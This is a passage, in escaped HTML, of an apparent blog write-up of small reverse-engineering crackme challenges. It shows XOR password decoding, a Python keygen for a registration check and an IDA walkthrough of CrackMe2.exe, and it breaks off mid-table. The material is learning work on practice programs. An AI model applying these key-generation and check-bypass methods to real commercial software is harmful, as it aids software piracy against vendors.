&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(code))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here is a possible list:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0F6t&amp;gt;o0n3s2f5l6f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2D4v&amp;lt;m2l1q0d7n4d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;4B2p:k4j7w6b1h2b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5C3q;j5k6v7c0i3c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;6@0r8i6h5u4`3j0`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7A1s9h7i4t5a2k1a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+]-o%t+u(h)}.w-}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-[+i#r-s.n&#x2F;{(q+{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;*\,n$u*t)i(|&#x2F;v,|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;Y)k!p&#x2F;q,l-y*s)y&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$R&amp;quot;`*{$z&amp;#39;g&amp;amp;r!x&amp;quot;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(^.l&amp;amp;w(v+k*~-t.~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;#39;Q!c)x&amp;#39;y$d%q&amp;quot;{!q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;,Z*h&amp;quot;s,r&#x2F;o.z)p*z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let&#x27;s test it in the real world:
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;3.jpg&quot; alt=&quot;Image 3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;too-easy&quot;&gt;&quot;Too easy&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;This one is rather easy. Take a look at the kernel code:
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;4.jpg&quot; alt=&quot;Image 4&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Just simple one-by-one xor encryption, so this one is much easier&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;23&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;29&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;63&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;63&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;63&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;63&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(code)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;5.jpg&quot; alt=&quot;Image 5&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keygen&quot;&gt;&quot;Keygen&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;This is quite old, and same as the one I&#x27;ve did during summer camp. I&#x27;d like to refer to some old pics in my old report.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;6.jpg&quot; alt=&quot;Image 6&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Obviously, just have a look at &lt;code&gt;pepper()&lt;&#x2F;code&gt;, &lt;code&gt;gaia()&lt;&#x2F;code&gt;, &lt;code&gt;Thor()&lt;&#x2F;code&gt; and &lt;code&gt;hades()&lt;&#x2F;code&gt;. And during the analysis we can see the table is dynamically generated with the following code:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;7.jpg&quot; alt=&quot;Image 7&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Apparently that I used X-rays, since some small tricks of complier should be resolved by the machine itself. Generally, we need to find all integers ranged at 0x3E8~0x7D0 and could be mod by 20 with 3. Then we can use another diagram to show its procedure of judging register code:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;8.jpg&quot; alt=&quot;Image 8&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Finally, time for our keygen and test:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; random&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; randint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;randint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1900&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2001&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        while&lt;&#x2F;span&gt;&lt;span&gt; v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;999&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(v)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(p)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;randint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;99&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;da-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;-da&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;p[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;p[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;q))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;9.jpg&quot; alt=&quot;Image 9&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;crackme2-exe&quot;&gt;&quot;CrackMe2.exe&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;Run it at first and input a random string, we can see the hint as below:
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;10.jpg&quot; alt=&quot;Image 10&quot; &#x2F;&gt;
Load it into IDA and nothing could be found. It&#x27;s apparently since our IDA is not set to view Unicode strings as default. Press ^U in IDA-Strings, and select &quot;Unicode&quot;, we can find that string:
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;11.jpg&quot; alt=&quot;Image 11&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Do some jobs(trace call flow) and we can see that when the function at 0x411A20 returns true, our code is right. Another way is that, since it&#x27;s an GUI program, we can just find it out by checking the xref of &lt;code&gt;GetDlgItemTextW()&lt;&#x2F;code&gt;, which exists in User32.dll. After all, we&#x27;ve reached 0x411A20, and saw the following code(after some modification):&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;12.jpg&quot; alt=&quot;Image 12&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And as for detect A:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;13.jpg&quot; alt=&quot;Image 13&quot; title=&quot;Loop detect A&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So we need to ensure &lt;code&gt;input[2*i]==table_419080[4*i]&lt;&#x2F;code&gt; and  while &lt;code&gt;i in range(0,0x20,2)&lt;&#x2F;code&gt;. Then it turns out that detect B is:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;14.jpg&quot; alt=&quot;Image 14&quot; title=&quot;Loop detect B&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And that means for every &lt;code&gt;i in range(1,0x1F,2)&lt;&#x2F;code&gt; has &lt;code&gt;input[2*i]==table_419000[4*i]&lt;&#x2F;code&gt;.
Considering this program is a unicode one, we can write this python script:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;table&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
